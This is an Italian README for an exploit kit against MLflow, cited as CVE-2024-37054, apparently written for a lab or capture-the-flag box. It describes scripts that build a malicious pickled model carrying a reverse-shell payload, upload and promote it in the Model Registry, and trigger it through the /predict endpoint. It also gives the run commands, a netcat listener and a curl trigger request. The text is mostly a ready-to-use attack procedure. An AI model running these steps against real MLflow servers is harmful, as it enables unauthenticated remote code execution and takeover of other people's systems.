
Exploit per CVE-2024-37054: MLflow deserializzazione pickle RCE tramite caricamento di modello manipolato al Model Registry, consentendo una reverse shell non autenticata sull'endpoint /predict.
| File | Scopo |
|---|
generate_model.py | Genera il model.pkl malevolo con payload di reverse shell |
upload_model.py | Carica il pickle su MLflow e lo promuove in Produzione |
sample.csv | File CSV usato per attivare l'endpoint /predict |
Modifica generate_model.py e imposta il tuo IP tun0:
python3 generate_model.py
nc -lvnp 4444
Modifica upload_model.py:
MLFLOW su http://127.0.0.1:5000MODEL_NAME sul nome del modello attivo trovato sul dominio principalepython3 upload_model.py
Ottieni un cookie di sessione fresco dall'app client, poi:
curl -X POST http://127.0.0.1:80/predict \
-H "Cookie: session=<YOUR_SESSION_COOKIE>" \
-F "[email protected]"
La shell viene catturata sul tuo listener.
Deserializzazione Pickle tramite MLflow Model Registry
MLflow carica i modelli registrati usando pickle.load() di Python. Caricando un pickle manipolato come artefatto del modello e promuovendolo in Produzione, qualsiasi chiamata successiva a /predict deserializza il payload lato server, ottenendo RCE non autenticata come utente dell'applicazione.